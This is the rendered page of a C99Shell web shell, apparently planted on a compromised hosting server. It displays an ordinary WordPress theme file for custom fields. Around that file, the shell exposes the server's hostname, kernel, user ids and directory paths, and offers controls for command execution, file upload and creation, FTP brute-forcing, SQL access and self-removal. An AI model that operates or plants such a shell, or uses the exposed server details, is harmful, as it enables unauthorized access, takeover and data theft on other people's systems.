!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/themes/kingsize/lib/   drwxr-xr-x
Free 180.72 GB of 490.84 GB (36.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     meta-fields.php (3.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php  /**
 * @KingSize 2013
 *
 * The PHP code for setup Theme page custom fields.
 */
/*
    Begin creating custom fields
*/

###### HTML element fields function ########## 
function get_meta_clear($args = array(), $value false){
    
extract($args); 
    echo 
'<div class="clear"></div>';        
}


function 
get_meta_divider_start($args = array(), $value false){
    
extract($args); 
    echo 
'<tr style="border-top:1px solid #eeeeee;">';
}
function 
get_meta_divider_end($args = array(), $value false){
    
extract($args); 
    echo 
'</tr>';
}

function 
meta_button($args = array(), $value false){
    
extract($args); 
    echo 
'<td valign="top">';
    echo 
'<input style="float: left;" type="button" class="button" name="'$id'" id="'$id'" value="Browse" />';
    echo 
'</td>';
}

function 
meta_textarea($args = array(), $value false){
    global 
$post;

    
extract$args );
    echo 
'<tr style="border-top:1px solid #eeeeee;">',
                    
'<th style="width:25%"><label for="'$id'"><strong>'$name'</strong><span style="line-height:18px; display:block; color:#999; margin:5px 0 0 0;">'$desc.'</span></label></th>',
                    
'<td>';
    echo 
'<textarea name="'$id'" id="'$id'" value="'esc_htmlget_post_meta($post->ID$idtrue), ), '" rows="8" cols="5" style="width:100%; margin-right: 20px; float:left;">'esc_htmlget_post_meta($post->ID$idtrue), ), '</textarea>';
    echo 
'</td>';
}

function 
meta_inputbox($args = array(), $value false){
    global 
$post;

    
extract$args );

        
// class here            
        
$class ' class="code"';
        if(
$extras == "getimage" OR $extras == "getvideo")              
            
$class ' class="uploadbutton"'
        

        echo 
'<th style="width:25%"><label for="'$id'"><strong>'$title'</strong><span style="line-height:20px; display:block; color:#999; margin:5px 0 0 0;">'$desc.'</span></label></th>',
        
'<td valign="top">';

        echo 
'<input type="text" name="'$id'" id="'$id'" value="'esc_htmlget_post_meta($post->ID$idtrue), ),'" size="'.$size.'" style="margin-right: 20px; float:left;" '.$class.'/>';

        if(
$extras == "getimage" OR $extras == "getvideo")     {
            echo 
'<!-- media upload -->';
            echo 
'<input type="file" name="upload_'.$id.'" id="upload_'.$id.'" style="border:1px solid #eeeeee;margin-right: 20px;" size="16"/>';
            echo 
'<!-- end media upload -->';
        }
        echo 
'</td>';

        echo 
'<input type="hidden" name="'.$id.'_noncename" id="'.$id.'_noncename" value="'.wp_create_nonceplugin_basename__FILE__ ) ).'" />';
    
}


function 
meta_selectbox($args = array(), $value false){
    global 
$post;
    
extract$args );

            echo 
'<th style="width:25%"><label for="'$id'"><strong>'$title'</strong><span style="line-height:20px; display:block; color:#999; margin:5px 0 0 0;">'$desc.'</span></label></th>',
            
'<td valign="top">';

            echo 
"<select name='$id' id='$id' style='width:75%; margin-right: 20px; float:left;'>";
            
            if(
$show_default_title == "true" || $show_default_title == "")
                echo 
'<option value="">'.$title.'</option>';

            if(!empty(
$items))
            {
                foreach (
$items as $key_item=>$item)
                {
                    
$kingsize_page_columns get_post_meta($post->ID$id);
                
                    if(isset(
$kingsize_page_columns[0]) && $key_item == $kingsize_page_columns[0])
                    {
                        
$css_string 'selected';
                    }
                    else
                    {
                        
$css_string '';
                    }
                    echo 
'<option value="'.$key_item.'" '.$css_string.'>'.$item.'</option>';
                }
            }
            
            echo 
"</select>";
            echo 
'</td>';
}

function 
meta_checkbox($args = array(), $value false){
    global 
$post;
    
extract$args );
    
        
$checked get_post_meta($post->ID$idtrue) == '1' "checked" "";

        echo 
'<th style="width:25%"><label for="'$id'"><strong>'$title'</strong><span style="line-height:20px; display:block; color:#999; margin:5px 0 0 0;">'$desc.'</span></label></th>';
        
        echo 
'<td valign="top">';
        echo 
"<input type='checkbox' name='".$id."' id='".$id."' value='1' ".$checked ."/>";
        echo 
'</td>';
    
}
###### End of html element fields function ########## 
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.2705 ]--